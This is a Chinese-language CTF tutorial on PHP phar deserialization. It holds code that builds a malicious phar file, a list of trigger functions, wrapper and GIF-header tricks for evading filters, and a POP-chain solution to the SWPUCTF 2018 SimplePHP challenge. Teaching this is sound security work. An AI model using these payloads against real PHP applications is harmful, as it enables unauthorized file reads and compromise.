phar反序列化原理及利用

phar是什么?

phar 是 PHP 的一种归档文件格式,类似于 ZIP 或 TAR 文件,它可以包含多个文件和目录,并且可以像访问普通文件系统一样在 PHP 中进行访问。在php 5.3 或更高版本中默认开启
在php.ini中配置如下时,才能生成phar文件,记得要删除分号

phar.readonly = Off

image.png

phar文件的生成以及利用

这个是一个简单的php反序列化题

<?phpclass Test {public $num = 2;public function __destruct() {  //__destruct 函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行if ($this->num === 1) {echo 'flag{^_^}';                              }}
}
unserialize($_GET['data']);
#show_source(__FILE__)
?>

payload构造代码:

<?phpclass Test {public $num;}$a = new Test();
$a->num=1;
echo serialize($a);

image.png
最后成功输出flag

image.png
正常的php反序列化是通过unserialize函数来实现的,而phar反序列化可以通过 file_get_contents函数来实现。
如下:

<?php
class Test {public $num = 2;public function __destruct() {if ($this->num === 1) {echo 'flag{^_^}';}}
}echo file_get_contents($_GET['file']);
?>

我们修改一下php反序列化的payload的构造代码:

<?php
class Test {public $num;
}
$a = new Test();
$a->num=1;$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetaData($a);
$phar->addFromString("test2.txt", "test2");
$phar->stopBuffering();
?>

可以看见之前的serialize函数被代替了,变成这了几段代码:

$phar = new Phar("a.phar"); // 创建一个名为 "a.phar" 的 Phar 归档文件。
$phar->startBuffering(); //使用 startBuffering() 方法开始缓冲,以便在添加文件之前可以对 Phar 对象进行配置。
$phar->setStub("<?php __HALT_COMPILER(); ?>"); /* 设置stub,必须以__HALT_COMPILER(); ?>结尾*/
$phar->setMetaData($a); # 设置自定义的metadata,序列化存储,解析式会被序列化。
$phar->addFromString("test2.txt", "test2"); //phar文件里面的文件为test2.txt,内容为test2
$phar->stopBuffering(); # 停止缓冲,将所有的配置应用到 Phar 文件中

访问我们构造的php代码,可以看见在本地生成了一个a.phar文件
image.png
这时候再访问题目的页面,对file参数使用phar协议

?file=phar://a.phar/test2.txt

image.png
可以看见输出了test2和flag,test2为我们的a.phar文件里面的内容,通过file_get_contents函数读取出来的,至于为什么flag也读出来,是因为a.phar里面有我们的恶意代码,phar文件被反序列化了。

触发phar反序列化的敏感函数

文件相关的函数

fileatime / filectime / filemtime
stat / fileinode / fileowner / filegroup / fileperms
file / file_get_contents / readfile / fopen
file_exists / is_dir / is_executable / is_file 
is_link / is_readable / is_writeable / is_writable
parse_ini_file
unlink
copy

其他触发函数

imageexif_thumbnailexif_imagetypeimageloadfontimagecreatefrom***getimagesizegetimagesizefromstring
hashhash_hmac_filehash_filehash_update_filemd5_filesha1_file
file / urlget_meta_tagsget_headers

常见的绕过方式

绕过phar://开头

compress.bzip://phar://a.phar/test1.txt
compress.bzip2://phar://a.phar/test1.txt
compress.zlib://phar://a.phar/test1.txt
php://filter/resource=phar://a.phar/test1.txt
php://filter/read=convert.base64-encode/resource=phar://a.phar/test1.txt

绕过图片检查

  • 可以修改phar文件名的后缀
  • 文件开头添加GIFB9a绕过十六进制检查
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");

案例演示

题目地址:

https://buuoj.cn/challenges#[SWPUCTF%202018]SimplePHP

信息收集

进入首页可以看见这里有一个可疑的文件读取漏洞
image.png
查看源代码,可以看见flag的位置提示
image.png
尝试读取file.php文件,发现成功读取
image.png
class.php源代码如下,在这里我们知道了f1ag.php的绝对路径应该是 /var/www/html/f1ag.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { $show->source = $file; $show->_show(); 
} else if (!empty($file)){ die('file doesn\'t exists.'); 
} 
?> 

在这里可以看见有一个phar的反序列化漏洞可利用函数 file_exists
我们构造一下参数查看一下class.php文件
image.png

<?php
class C1e4r
{public $test;public $str;public function __construct($name){$this->str = $name;}public function __destruct(){$this->test = $this->str;echo $this->test;}
}class Show
{public $source;public $str;public function __construct($file){$this->source = $file;   //$this->source = phar://phar.jpgecho $this->source;}public function __toString(){$content = $this->str['str']->source;return $content;}public function __set($key,$value){$this->$key = $value;}public function _show(){if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {die('hacker!');} else {highlight_file($this->source);}}public function __wakeup(){if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {echo "hacker~";$this->source = "index.php";}}
}
class Test
{public $file;public $params;public function __construct(){$this->params = array();}public function __get($key){return $this->get($key);}public function get($key){if(isset($this->params[$key])) {$value = $this->params[$key];} else {$value = "index.php";}return $this->file_get($value);}public function file_get($value){$text = base64_encode(file_get_contents($value));return $text;}
}
?>

可以发现文件读取的主要函数是file_get ,我们可以构造它的内容为/var/www/html/f1ag.php读取flag
image.png
但是要想执行file_get 函数就必须调用get函数,可以看见get方法的调用又来自__get魔术方法,在__get魔术方法中访问一个对象的不可访问属性时被调用,会自动调用,具体可以参考我这篇:

https://blog.csdn.net/weixin_53912233/article/details/136201452/

在Show类中可以发现,可以发现这么一行是属于Test类不可访问的属性,那么 source 就是 Test 类中一个不存在的属性,在执行这条语句时就会触发 Test 类的 __get 魔术方法。
image.png
因为不存在的属性source被__get魔术方法调用了,所以$key就是source属性,被当作后续的参数使用。
由于调用str属性需要来自 C1e4r类,这里有一个构造魔法__construct。
image.png
至于调用Show类中的__toString方法,可以看见在C1e4r类中有一个echo输出函数,当对象作为字符串进行输出的时候就会进行调用
image.png
image.png

pop链构造

所以构造pop链的思路是:

Test()->params['source']="/var/www/html/f1ag.php"; //Test类中获取的文件为f1ag.php
Show()->str['str'] = new Test(); //调用Show类的属性,因为在Test类中不存在该属性,触发__get方法
C1e4r()->str = new Show(); //调用C1e4r类的str属性给Show类

pop构造代码如下:

<?php
class C1e4r
{public $test;public $str;
}class Show
{public $source;public $str;}
class Test
{public $file;public $params;}$a = new Test();
$a->params['source'] = "/var/www/html/f1ag.php"; //因为source属性是get函数的传参,我们可以利用它自定义读取的文件$b = new Show();
$b->str['str'] = $a; //Show类中的str['str']给Test类,因为该属性对于Test类不存在,可以调用__get魔术方法$c = new C1e4r();
$c->str = $b;   //C1e4r类将str属性给Show类/*最后打包成phar文件*/
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); 
$phar->setMetaData($c);  // 打包该类
$phar->addFromString("test2.txt", "test2");
$phar->stopBuffering();
?>

最后在本地可以看见生成了一个phar文件
image.png

获取flag

这里可以看见有一个文件上传的点
image.png
直接上传可以看见被过滤掉了
image.png
我们使用文件读取漏洞看一下该上传页面的源代码upload_file.php:
image.png
可以看见包含了一个function.php,再次查看该源代码:
image.png
可以发现了上传后的文件在upload目录下,同时后端对后缀进行了验证,我们将 a.phar文件改为 a.jpg文件即可,可以发现上传成功
image.png
访问upload目录可以看见这个就是我们上传的文件
image.png
这时候我们在文件读取的漏洞利用phar协议,读取我们上传的恶意文件,可以发现出现了base64字符串,恶意代码解析成功。
image.png
bae64解码获取flag
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/261305.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2024.4.21

多进程实现拷贝 #include <myhead.h> //定义结构体 typedef struct INFO {const char *src_file;const char *dest_file;int mv;int size;}info_t;//获取源文件的大小并且创建目标文件 int size_creat(const char *src_file,const char *dest_file) {//获取源文件的大小…

opengl 学习着色器

一.GLSL 着色器是使用一种叫GLSL的类C语言写成的。GLSL着色器编码顺序&#xff1a;声明版本》定义输入输出》uniform》main函数。每个着色器的入口点是main函数&#xff0c;在main函数中我们处理所有的输入变量&#xff0c;并将结果输出到输出变量中。如下图&#xff1a; #ver…

PyCharm 主题和字体 (Scheme Editor Font)

PyCharm 主题和字体 [Scheme & Editor Font] References Scheme & Editor Font File -> Settings -> Editor -> Colors & Fonts -> Font Show only monospaced fonts&#xff1a; 只显示等宽字体。编程时使用等宽字体效果较好。 References [1] Yon…

JAVA并发编程之原子性、可见性与有序性

并发编程-原子性、可见性与有序性 一、CPU的可见性 1.1 缓存一致性问题的出现 CPU处理器在处理速度上&#xff0c;远胜于内存&#xff0c;主内存执行一次内存的读写操作&#xff0c;所需要的时间足够处理器去处理上百条指令。 为了弥补处理器与主内存处理能力之间的差距&am…

Jenkins 中部署Nodejs插件并使用,并构建前端项目(3)

遇到多个版本nodeJS需要构建的时候 1、第一种就是一个配置安装&#xff0c;然后进行选中配置 2、第二种就是插件&#xff1a;nvm-wrapper&#xff0c;我们还是选用NodeJS插件&#xff1a; &#xff08;1&#xff09;可以加载任意npmrc文件&#xff1b; &#xff08;2&#x…

grafana配置钉钉告警模版(一)

1、配置钉钉告警模版 创建钉钉告警模版&#xff0c;然后在创建钉钉告警时调用模版。 定义发送内容具体代码 my_text_alert_list 是模版名称后面再配置钉钉告警时需要调用。 {{/* 定义消息体片段 */}} {{ define "my_text_alert_list" }}{{ range . }}告警名称&…

彻底解决关于路由的问题,前端路由和服务端路由,history api 和 hash路由

首先路由分成两大块&#xff0c;分别是前端路由和服务端路由&#xff0c;而前端路由又分为两种模式&#xff0c;分别是 histroy api 模式和 hash 模式。 路由 前端路由&#xff1a;指在浏览器中进行路由控制的一种方式&#xff0c;通过监听 url 变化决定加载哪个页面组件或视图…

用idea debug时,怎么在某个map对象中再加个key value

实现方式 在用idea 进行 debug时&#xff0c;我们经常喜欢对某行代码打断点&#xff0c;然后对某个对象重新设置值&#xff0c;以快速地实现我们预期想覆盖的场景。通常的方式是用鼠标右键点击某个对象&#xff0c;然后选择Set value进行设置值&#xff0c;但是如果想在map中添…

Elasticsearch:创建自定义 ES Rally tracks 的分步指南

作者&#xff1a;Alejandro Snchez 按照这个综合教程学习如何制作个性化的 Rally tracks ES Rally 是什么&#xff1f;它的用途是什么&#xff1f; ES Rally 是一个用于在 Elasticsearch 上测试性能的工具&#xff0c;允许你运行和记录比较测试。 做出决策可能很困难&#x…

使用Autodl云服务器或其他远程机实现在本地部署知识图谱数据库Neo4j

本篇博客的目的在于提高读者的使用效率 温馨提醒&#xff1a;以下操作均可在无卡开机状态下就可完成 一.安装JDK 和 Neo4j 1.1 ssh至云服务器 打开你的pycharm或者其他IDE工具或者本地终端&#xff0c;ssh连接到autodl的服务器。(这一步很简单如下图) 1.2 安装JDK 由于我…

阿里云幻兽帕鲁Linux 服务器下载游戏存档的方法

阿里云幻兽帕鲁Linux 服务器下载游戏存档的方法也非常简单。 远程连接到阿里云的 linux服务器后&#xff0c;可以在 ECS 远程连接命令行界面&#xff0c;点击左上角的文件&#xff0c;打开文件树。通过一行命令打包。 在打包后的 Saved.tar 文件上右键&#xff0c;选择 下载文…

小程序--模板语法

一、插值{{}}语法 1、内容绑定 <view>{{iptValue}}</view> 2、属性绑定 <switch checked"{{true}}" /> Page({data: {iptValue: 123} }) 二、简易双向数据绑定 model:value&#xff1a;支持双向数据绑定 注&#xff1a;仅input和textarea支持&a…

unity学习(36)——角色选取界面(自制美工)

1.添加一个背景图片&#xff0c;记不住可以查之前的资料&#xff08;4&#xff09; 图片拖入asset&#xff0c;属性设成sprite&#xff1b;把图片拖到source image中&#xff1b;colour白色&#xff08;透明&#xff0c;点一下右边的笔即可&#xff09;&#xff1b;material为…

数字化转型导师坚鹏:政府数字化转型之数字化技术

政府数字化转型之数字化技术 ——物联网、云计算、大数据、人工智能、虚拟现实、区块链、数字孪生、元宇宙等综合解析及应用 课程背景&#xff1a; 数字化背景下&#xff0c;很多政府存在以下问题&#xff1a; 不清楚新技术的发展现状&#xff1f; 不清楚新技术的重要应…

【C++】初始化列表、static成员、友元、匿名对象、附练习题

文章目录 前言一、构造函数【初始化列表】1.1 构造函数体赋值1.2 初始化列表1.3 explicit关键字 二、static成员2.1 概念2.2 特性 三、友元3.1 友元函数3.2 内部类 四、匿名对象4.1 拷贝对象时的一些编译器优化 五、再次理解类和对象六、练习题6.1 求123...n&#xff0c;要求不…

unity学习(32)——跳转到角色选择界面(父子类问题)

新问题 应该是两个脚本之间缺少继承关系 its children 解决起来很简单&#xff0c;把ResceneScript也绑到canvas上就可以了 。 此时&#xff0c;在账号密码正确的情况下&#xff0c;是可以完成场景切换。 对应的代码如下&#xff1a; TMP_Text d GameObject.FindWithTag(&…

ubuntu22.04@laptop OpenCV Get Started: 013_contour_detection

ubuntu22.04laptop OpenCV Get Started: 013_contour_detection 1. 源由2. 应用Demo2.1 C应用Demo2.2 Python应用Demo 3. contour_approx应用3.1 读取图像并将其转换为灰度格式3.2 应用二进制阈值过滤算法3.3 查找对象轮廓3.4 绘制对象轮廓3.5 效果3.6 CHAIN_APPROX_SIMPLE v.s…

软件测试工程师经典面试题

软件测试工程师&#xff0c;和开发工程师相比起来&#xff0c;虽然前期可能不会太深&#xff0c;但是涉及的面还是比较广的。前期面试实习生或者一年左右的岗位&#xff0c;问的也主要是一些基础性的问题比较多。涉及的知识主要有MySQL数据库的使用、Linux操作系统的使用、软件…

Redis部署方式(一)四种部署方式介绍

redis的四种部署方式&#xff1a; Redis单机模式部署、Redis主从模式部署、Redis哨兵模式部署、Cluster集群模式部署&#xff0c;后面三种&#xff08;主从模式&#xff0c;Sentinel哨兵模式&#xff0c;Cluster模式&#xff09;也可以统称为集群模式。 一、单机 1、缺点&…

HarmonyOS—LocalStorage:页面级UI状态存储

LocalStorage是页面级的UI状态存储&#xff0c;通过Entry装饰器接收的参数可以在页面内共享同一个LocalStorage实例。LocalStorage也可以在UIAbility实例内&#xff0c;在页面间共享状态。 本文仅介绍LocalStorage使用场景和相关的装饰器&#xff1a;LocalStorageProp和LocalS…